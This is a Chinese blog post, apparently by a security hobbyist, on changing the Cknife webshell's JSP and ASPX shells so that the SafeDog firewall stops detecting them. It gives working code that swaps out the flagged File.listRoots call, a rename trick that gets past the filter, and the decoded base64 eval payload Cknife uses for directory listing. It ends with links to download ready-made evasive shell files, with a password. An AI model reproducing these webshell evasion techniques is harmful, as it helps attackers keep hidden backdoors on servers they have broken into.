打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)

0×00 前言

亲爱的Chora小伙伴在上文说过,他是一个有责任心的基佬,要手把手为大家(不)负责任的讲解如何使用Cknife。于是他挥动着小皮鞭,给了身为小弟(弟)的我24小时速成JSP、ASP.NET。在这种极度威逼利诱之下,我不负责任的攒出了绕狗第二式,内容过于冗长,还望请各位看官耐着性子,看一个渣农是如何利用Cknife过安全狗的(没办法,Chora牛总是太快,我秒不了)。

0×01 JSP绕狗代码分析

首先我们需要判断安全狗所拦截的代码是哪一部分。由于本人是Chora牛口中的“二号垃圾”(一号已经另有他人),所以采用了最笨的办法,一个函数一个函数删除来判断安全狗拦截的点在哪里。功夫不负有心人,第一个函数AA就被拦截了(还好不是最后一个,Bless God ~)。。。

图一cknife被拦截.jpg

当我删除AA以后,神奇的发现免杀了(废话,缺功能好不好!!!)。

2.png

显然问题在void AA函数中,那究竟void AA函数里面是什么内容呢?我们接下来继续看。

void
AA(StringBuffer sb) throws Exception {
        File r[] = File.listRoots();
        for (int i = 0; i < r.length; i++) {
            sb.append(r[i].toString().substring(0,2));
        }
    }

从代码中我们可以看出AA函数主要使用的listRoots方法(喂~总不可能拦截的for循环吧,混蛋!),查看API(好吧,其实我是查的百度。。。又被雀儿牛羞辱了),listRoots()是用来获取系统的根目录路径。在不同的系统测试结果如下。

listroots-windows.jpg

listroots-linux.jpg

Windows系统返回的是A:、C:…,而Linux系统返回的是/。

这里我们顺带稍微提一下cknife的jsp马儿的执行流程。其实我们的马儿是在原有一句话的基础上进行了少量的修改(按照我们的设想规范了一些参数)。这里以cknife.jsp的代码为例,在cknife中,主要有以下几个参数:

1、password  密码,大家都懂

2、action   对应的调用方法,也就是customsize中配置的各项内容,在JSP中为A、B、C等等,当然你也可以修改为其他名称,只要保证config配置文件与服务器端的马儿对应一致就可以了。

3、z1、z2   传递的参数,根据方法的不同可能为文件路径,文件名,数据库名、cmd命令等等。

当cknife调用文件管理模块的时候,其步骤如下。

1、获取当前文件路径,判断系统类型(L249 )。

String s =request.getSession().getServletContext().getRealPath(“/”);

2、获取系统根目录,如过为windows,绘制图像,列出盘符。(L250)

调用void AA

3、获取当前路径的所有文件,列出文件目录;(L255)

调用void BB

4、根据其他具体操作调用具体方法(读文件、读路径、写文件、上传、下载等等)。

其中,在第二步的时候使用到了void AA。完全不懂JSP代码的我只想到了两种思路,大牛们见(贱)笑了:

1、是否有其他相同或是类似功能的函数替代listroots;

2、对原有函数变形。

接下来我们就对上述两种思路进行分析。

0×02 JSP绕过思路一

我恬不知耻的又找到了度娘(又被雀儿牛一顿骂),发现了File.List()方法,该方法罗列当前file对象路径下的所有文件。测试代码如下图所示。

图4file.list函数替代roots.png

其实我们利用AA函数的目的只是为了获取系统盘符而已,如果我能够确定该盘符下存在文件内容,至少能够确定该盘符确实存在,所以我想到了直接枚举每一个盘符根目录的文件就行了。所以有了以下的渣渣代码。

    String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" };
    StringBuffer sb = new StringBuffer("");
    for (int m = 0; m < disk.length; m++){
        try {
            String[] filelists = new File(disk[m] +":\\").list();//列举盘符
            if (filelists.length > 0) {
                sb.append(disk[m] + ":\\\t"); // 如果文件数量>0表示该盘符存在
            }
        } catch (Exception e1) { // 如果异常提示该盘符不存在
              System.out.println("can not visit disk " + disk[m] + ":");
        }
    }
    System.out.println("存在的盘符为:" + sb.toString());

测试效果如下图,正常显示了盘符(不要问我为啥有H盘符,嘿~嘿~嘿~)

图5file.list函数windows代码.png

然后结合linux系统的特性,完整的代码如下:

String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" };
StringBuffer sb = new StringBuffer("");//原代码中已声明实际使用中需要删除该参数
try{
  String[] filelists = new File("/etc").list();// 是否存在etc目录推断linux系统
  if(filelists.length > 0) {
          sb.append("/");// 如果文件数量>0表示该盘符存在
   }
}catch(Exception e){
  for (int m = 0; m < disk.length; m++) {
      try{
          String[] filelists = new File(disk[m] + ":\\").list();// 
          if(filelists.length > 0) {//判断windows系统
              sb.append(disk[m] + ":\\\t"); // 如果文件数量>0表示该盘符存在
          }
       }
      catch (Exception e1) { // 如果异常提示该盘符不存在
          //System.out.println("can not visit disk " + disk[m] + ":");
      }
  }
}
//System.out.println("存在的盘符为:" + sb.toString());

将上述代码替换原有的void AA中的内容,再用狗狗查杀一下。

图6修改后代码的查杀情况.png

当然这种方法有一定的局限性:

1、对比原有函数,会少了光驱等等无法读取的盘符(虽然并没什么卵用)。

2、如果盘符名称人为更改过或者是用户权限受限制的话,可能无法识别到正确的盘符。

0×03 JSP绕过思路二

作为一个学渣,看到原来的代码中

File r[] = File.listRoots();

第一反应是新建一个File对象,从而替换File.listRoots的关键词。

File  k = new File("");
File  r[] = k.listRoots();

然后Chora牛笑我。。。这XX怎么可能过狗。。。

然而。。事实是真的XX就过狗了(哔了个狗)。。。

图绕狗查杀结果.jpg

执行的结果也是正确显示

图绕狗执行结果.jpg

使用原有的JSP模式连接也可以正常执行,无需配置自定义模式。

图绕狗执行结果2.jpg

所以,狗狗对jsp的一句话判断可能略显简单了一些,就是File.listRoots();。所以只要发挥你的想象力,能做的事情就很多了。(当然,前提能够在有狗狗的服务器上面写入你的小马马,所以各位大牛见仁见智啦) 。

最后我们简单总结一下,在测试过程中我们发现安全狗只是对Void AA进行了拦截,并没有拦截其他功能,即是说我们仍可以正常使用诸如命令执行、数据库等相关的功能(废话。。。大家都知道本来JSP就过狗!)。

0X04 ASPX绕狗相关

上一文中,有小伙伴提醒补一个asp绕过的修改过程。其实原理都是类似的,我这里以ASPX的为例再介绍一下修改过程。

具体步骤如下:

1、你要会写if语句。如if(action=”Index”)。

2、代码完成。

what?什么鬼!!这就结束了?

是的,就这么简单,让我们慢慢来,这里以customsize自定义模式里的readdict读目录方法为例,首先查看Cknife的config.ini文件关于aspx的相关配置项如下。

Response.Write("->|");var err\:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("dmFyIEQ9U3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoOTM2KS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKTt2YXIgbT1uZXcgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8oRCk7dmFyIHM9bS5HZXREaXJlY3RvcmllcygpO3ZhciBQOlN0cmluZzt2YXIgaTtmdW5jdGlvbiBUKHA6U3RyaW5nKTpTdHJpbmd7cmV0dXJuIFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUocCkuVG9TdHJpbmcoInl5eXktTU0tZGQgSEg6bW06c3MiKTt9Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIi9cdCIrVChQKSsiXHQwXHQtXG4iKTt9cz1tLkdldEZpbGVzKCk7Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIlx0IitUKFApKyJcdCIrc1tpXS5MZW5ndGgrIlx0LVxuIik7fQ%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR\://"%2Berr.message);}Response.Write("|<-");Response.End()

简而言之,就是eval执行了一段base64编码的内容,这属于一句话里面最常见的通信形式。我们对base64的代码进行解密,为了阅读方便,调整了格式,内容如下。

var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["z1"]));
var m=new System.IO.DirectoryInfo(D);
var s=m.GetDirectories();
var P:String;
var i;
function T(p:String):String{
return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");
}

for(i in s){
  P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n");
}
s=m.GetFiles();
for(i in s){
  P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n");
}

该段内容通过z1参数获取到文件路径,使用系统对象中的System.IO.DirectoryInfo()来获得文件路径下的文件信息,然后打印出来。由于一般情况下一句话的参数中经常会带有eval、execute,导致其特征过于明显。所以作为学渣的我想如果将这部分直接放在服务器执行的话,是不是就可以避免传递eval、execute等类似的关键词了呢?因此,我在服务器上的aspx文件中直接写入了上述内容,为了测试方便,我省去了base64编码~(机智又任性!)。

666.png

777.jpg

然后,再提一下自定义模式对接cknife的要点有以下:

1、对应密码,总不可能让谁都能使用我的shell吧。

2、对应的action名称,可自己更改。

3、参数z1、z2以及标识数据段的标识符(>|+data+|<)

PS:这里说明一下我的锅~z1、z2参数的名称也是可以更改的,只是我在一些功能的时候写的有问题(其实就是直接写死成z1、z2了),如果使用的时候遇到问题请见谅,这个在后续的版本中会进一步修复和优化。

最后我们参照上述三点整理我们的过狗文件,你是不是发现其实主要都在写if语句判断action内容…

具体的代码内容请见下一小节。

0×05 渣渣的渣渣代码

JSP下载                         密码:f65g                   1.jsp(已更新)

ASPX相关下载               密码:f65g                   cus.aspx

0×06 结语

本文给大家讲解了如何通过最简单的方法,利用现成的一句话加上cknife的自定义参数配置来打造自己的绕狗脚本。大家从我使用的工具和截图可以看出:我真的是一个菜B!

上帝教会了我hello world,我却用他来绕WAF~。

最后谢谢Chora小伙伴和MS509里面其他小伙伴带我搅基,终于从写Hello World进步到会写if语句来绕狗狗了,么么哒!

此条目发表在未分类分类目录。将固定链接加入收藏夹。